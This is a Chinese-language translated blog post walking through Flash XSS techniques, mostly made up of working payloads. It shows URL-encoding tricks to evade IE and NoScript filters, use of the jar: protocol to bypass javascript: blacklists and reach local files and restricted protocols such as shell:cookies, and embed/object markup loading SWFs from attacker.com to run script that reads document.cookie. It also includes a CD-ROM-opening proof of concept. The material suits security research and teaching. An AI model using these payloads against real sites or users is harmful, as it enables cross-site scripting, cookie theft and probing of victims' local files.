原文鏈接
可能在你打開這個博客的時候會有一絲的熟悉感。對,這就是那個發現 FCK 2.6.8 ASP 版二次上傳漏洞的人。博主是個很有意思的人,經常會在通知廠商修復之前就在演講稿子里或文章中放出一些危害比較大的 0day。如果你之前沒有關注過這個人,也許在今后的日子里關注他會讓你有一些意外的收獲。
在經過一些小的測試后發現,似乎只有IE會對下面這種Flash XSS進行攔截。如果你用IE10打開下面的鏈接:
http://0me.me/demo/xss/xssproject.swf?js=alert(document.domain);
那么應該會在控制臺(用F12來打開它)看到Access is denied的信息。如果你嘗試用chrome,Firefox或opera來打開這個連接的話,不出預料小框應該會毫無阻礙的彈起來。
然后我想到了一個辦法可以繞過IE的這種限制:
http://0me.me/demo/xss/xssproject.swf?js=location.href='javascript:x="<script>alert(document.domain)</script>"'
URL中的“javascript:x="echo"”可以讓我們在當前頁面輸出這個echo。而且我們可以向上面的例子那樣包含一些HTML標簽,進而繞過這種限制。
如果你需要將你的vector發送到藏在防火墻的后面受害者(flashvars-可以使用#來達到隱藏自己的目的)又或者想突破一些客戶端的XSS防御機制這個方法將會十分的湊效。這一切都基于flash會丟棄一些被URL編碼過的無效字符。
(1)flash會丟棄兩個出現在%后面的無效十六進制字符(([^0-9a-fA-F])),比如:
"%X" or "%="
(2)如果在%后面出現一個有效和一個非有效十六進制字符,就會丟棄三個字符,比如:
"%AX" or "%A&"
最后把這些都組合起來:
http://0me.me/demo/xss/xssproject.swf?%#js=al%A#e%Xrt(docum%A#ent.doma%A#in);
http://0me.me/demo/xss/xssproject.swf?%I%R%S%D%%Ljs=loca%Xtion.hr%Yef='jav%Zascri %AXpt:x="<sc%AYript>ale%AZrt(docu%?ment.dom%/ain)</sc%&ript>"'
成功了!我使用這個trick也繞過了noscript,不過這個漏洞已經在?2.6.6.8修復了。
flash 會忽略 jar 協議并讓它變成一個透明的協議。換句話來說 javascript:alert(1)
和 jar:javascript:alert(1)
在 actionscript 中是完全一樣的。這意味著我們可以使用這個方法來繞 過一些黑名單的檢測。讓我們先舉一個存在漏洞的例子:
#!javascript
varinput:String = root.loaderInfo.parameters.input; // input variable
vardangerousInput:RegExp = /^\w\*script:.\*/i; // to cover javascript: and vbscript: protocols!
if(!dangerousInput.test(input))
{
????// Safe to go?!!! --> No! What about "jar:javascript:"?
????navigateToURL(newURLRequest(input),"_self"); // redirection
}
我們就可以使用先前提到的方法來繞過這個檢測:
http://0me.me/demo/xss/flash/link_protocol_test.swf?input=jar:javascript:alert(1);//
當然還有一個我認為是廣為熟知的技巧,就是在 firefox 里使用 data URI。
在默認設置當中 flash 不會允許你去訪問一些比較敏感的協議(通過 navigateToURL), 如:“File://” 或 “Ms-its:” 如果你直接嘗試訪問下面的鏈接:
http://0me.me/demo/xss/flash/link_protocol_test.swf?input=file://c:\
你就會收到這樣的錯誤信息:
SecurityError: Error #2148: SWF file http://0me.me/demo/xss/flash/link\_protocol\_test.swf?input=file://c:\ cannot access local resource file://c:\. Only local-with-filesystem and trusted local SWF files may access local resources.
at global/flash.net::navigateToURL()
at MethodInfo-1()
at flash.events::EventDispatcher/dispatchEventFunction()
at flash.events::EventDispatcher/dispatchEvent()
at com.powerflasher.SampleApp::link\_protocol\_test()
我嘗試著在chrome,firefox和IE中使用jar協議來繞過這一限制,但是我并沒有在前兩個瀏覽器中成功。這也就意味著這種方式只適用于IE。下面是一些bypass的例子:
利用 jar 協議訪問 C 驅動器:
http://0me.me/demo/xss/flash/link_protocol_test.swf?input=jar:file:/c:\
打開 C 驅動器中的某個文件:
http://0me.me/demo/xss/flash/link_protocol_test.swf?input=jar:file:/c:\windows\Starter.xml
開啟一些被限制的協議:
http://0me.me/demo/xss/flash/link_protocol_test.swf?input=jar:shell:cookies
http://0me.me/demo/xss/flash/link_protocol_test.swf?input=jar:mk:@MSITStore:C:\Windows\Help\mui\0409\certmgr.CHM::/html/355962c2-4f6b-4cbd- ab00-6e7ee4dddc16.htm
利用其它的一些技巧來訪問 C 驅動器:
http://0me.me/demo/xss/flash/link_protocol_test.swf?input=\\/c:/
1.被使用于一些敏感的本地文件探測(探測殺毒軟件的類型和版本等等)
2.通過目錄和文件來收集用戶信息
3.使用drag and drop來劫持一些敏感的本地文件(我沒有辦法在這里給出一些給力的POC)
4.代替用戶來執行一些危害較大的本地文件(html.,swf等等)。進而實現數據的盜取,遠程代碼執行或一些其它猥瑣的事情。
最后再獻上一個可以彈開你的CD-ROM的POC(測試于IE10),就像一些老的病毒一樣,試試看吧!
http://0me.me/demo/xss/flash/open_cdrom.html
我們都知道navigateToURL和getUR在flash XSS當中都是一些很常用的手段。但是大前提就是我們需要一個allowScriptAccess來得到腳本訪問的許可。下面我將演示如何在不使用allowScriptAccess前提下讓腳本運行起來。但是在這之前我們先要了解一下,使用allowScriptAccess的方法應該是什么樣的。
首先是flash中AS代碼的部分,我將分別給出AS2和AS3的例子。
AS3:
#!javascript
navigateToURL(new URLRequest("javascript:alert(document.domain);"),"_self");
AS2:
#!javascript
getURL("javascript:alert(document.domain)","_self");
然后我們的HTML頁面看上去,應該像這樣:
#!html
<objectwidth="320"height="240"classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><paramname="allowScriptAccess"value="always"/><paramname="src"value="http://www.attacker.com/testme/flashtest/normalEmbededXSS.swf"/><embedwidth="320"height="240"type="application/x-shockwave-flash"src="http://www.attacker.com/testme/flashtest/normalEmbededXSS.swf"allowScriptAccess="always"/></object>
當然我們也可以試著讓它變得更簡短一些:
#!html
<object width="320" height="240" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="src" value="http://www.attacker.com/testme/flashtest/normalEmbededXSS.swf" /><embed width="320" height="240" type="application/x-shockwave-flash" src="http://www.attacker.com/testme/flashtest/normalEmbededXSS.swf" />
但是這個例子在IE下會報錯,如果想看詳細的錯誤信息你可以嘗試使用debugger版本的flash.但是我們可以使用embed標簽,就像下面這樣:
#!html
<object width="320" height="240" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowscriptaccess" value="always" /><param name="src" value="http://0me.me/demo/xss/flash/normalEmbededXSS.swf" /><embed width="320" height="240" type="application/x-shockwave-flash" src="http://0me.me/demo/xss/flash/normalEmbededXSS.swf" allowscriptaccess="always" /></object>
在對使用allowScriptAccess的方法有了一些初步的了解之后,讓我們看看如果不使用它我們會碰到哪些問題。
1.navigateToURL或getURL所要跳轉的頁面不能設定為null/empty, “_self”, “_parent”, “_top”.
#!javascript
navigateToURL(new URLRequest("http://google.com/"),"_self");
2.我們不能使用javascript來完成跳轉
#!javascript
navigateToURL(new URLRequest("javascript:alert(document.domain);"),"testme");
看上去第一個問題并不是那么難解決。我們可以使IFrame name, window.open, a標簽的target,或form的target等技巧來解決這個問題。而第二個問題我們恰好可以使用之前flash會忽視jar協議的特性來解決。現在讓我們試著把這些東西整合到一起。
AS3示例:
#!javascript
navigateToURL(new URLRequest("jar:javascript:alert('domain: '+document.domain+'\\r\\nCookies: '+document.cookie);"),"testme");
AS2示例:
#!javascript
getURL("jar:javascript:alert('domain: '+document.domain+'\\r\\nCookies: '+document.cookie);","testme");
最后讓我們來完成它。假設有一個存在XSS漏洞頁面如下:
http://www.sdl.me/xssdemo/xss.asp?input=XSS_goes_here
如果我們不使用name,那么下面的方法只能應用于firefox。
http://www.sdl.me/xssdemo/xss.asp?input=<embed src=http://0me.me/demo/xss/flash/embededXSS.swf>
但是我們也可以使用name來讓它變得可以在其它瀏覽器中執行。
#!html
<iframe name="testme" src="http://www.sdl.me/xssdemo/xss.asp?input=<embed src=http://0me.me/demo/xss/flash/embededXSS.swf>" height="240" width="320"></iframe>
這里的embed標簽也可以被object標簽所取代。不過最終Adobe出了個新補丁封殺了jar協議。印象中是上個月的17號出的。所以如果你想親自測試一下可能需要你手動安裝稍微老的flash版本。如果你是kali linux用戶,并且喜歡使用firefox那么這個繞過flash沙箱的方法對你來說應該是輕易可以實現的(我沒有特意去更新FF的flash插件,所以在我這里一直是可以用這個方法的)。